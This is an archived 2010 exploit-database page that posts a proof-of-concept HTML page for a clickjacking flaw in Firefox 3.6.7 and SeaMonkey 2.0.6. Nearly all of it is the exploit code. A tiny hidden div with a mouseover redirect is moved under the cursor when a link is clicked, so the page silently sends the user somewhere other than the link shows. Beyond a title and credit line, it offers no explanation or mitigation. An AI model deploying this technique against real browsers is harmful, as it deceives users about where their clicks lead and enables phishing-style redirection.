Home / os / winmobile

Clickjacking Web Browser Multiple Vulnerability (FF3.6.7/SM

Posted on 23 July 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Clickjacking Web Browser Multiple Vulnerability (FF3.6.7/SM 2.0.6)</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>==================================================================
Clickjacking Web Browser Multiple Vulnerability (FF3.6.7/SM 2.0.6)
==================================================================


&lt;html&gt;&lt;head&gt;
&lt;meta http-equiv=&quot;content-type&quot; content=&quot;text/html; charset=UTF-8&quot;&gt;
&lt;title&gt;FF3.6.7/SM 2.0.6 ClickJacking Vulnerability&lt;/title&gt;
&lt;/head&gt;&lt;body&gt;
 
&lt;div id=&quot;mydiv&quot; onmouseover=&quot;document.location='http://www.mozilla.org';&quot; style=&quot;border: 0px none ; background: rgb(0, 0, 0) none repeat scroll 0% 0%; position: absolute; width: 2px; height: 2px; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;&quot;&gt;&lt;/div&gt;
&lt;script&gt;
function clickjack_armor(evt)
{
    clickjack_mouseX=evt.pageX?evt.pageX:evt.clientX;
    clickjack_mouseY=evt.pageY?evt.pageY:evt.clientY;
    document.getElementById('mydiv').style.left=clickjack_mouseX-1;
    document.getElementById('mydiv').style.top=clickjack_mouseY-1;
}
&lt;/script&gt;
&lt;center&gt;
&lt;br&gt;
&lt;center&gt;&lt;h1&gt;&lt;font face=&quot;Calibri&quot;&gt;Firefox 3.6.7 / SeaMonkey 2.0.6 Clickjacking Vulnerability&lt;/font&gt;&lt;/h1&gt;
 &lt;p&gt; &lt;/p&gt;
&lt;div style=&quot;border-top-style: solid; border-top-width: 1px; padding-top: 1px&quot;&gt;
    &lt;b&gt;&lt;br&gt;&lt;br&gt;
 
    &lt;a href=&quot;http://www.Securitylab.ir&quot; onclick=&quot;clickjack_armor(event)&quot;&gt; Go
    to the http://www.Securitylab.ir : (http://www.mozilla.org)&lt;/a&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-style: solid; border-bottom-width: 1px; padding-bottom: 1px&quot;&gt;
 &lt;p&gt; &lt;/div&gt;
&lt;p&gt; &lt;/p&gt;
&lt;/center&gt;
&lt;div style=&quot;border-top-style: solid; border-top-width: 1px; border-bottom-style: solid; border-bottom-width: 1px; padding-top: 1px; padding-bottom: 1px&quot;&gt;
    &lt;b&gt;&lt;font face=&quot;Calibri&quot;&gt;Pouya Daneshmand, Securitylab.ir&lt;/font&gt;&lt;/b&gt;&lt;/div&gt;
 
&lt;/center&gt;&lt;/body&gt;&lt;/html&gt;


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-07-23]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :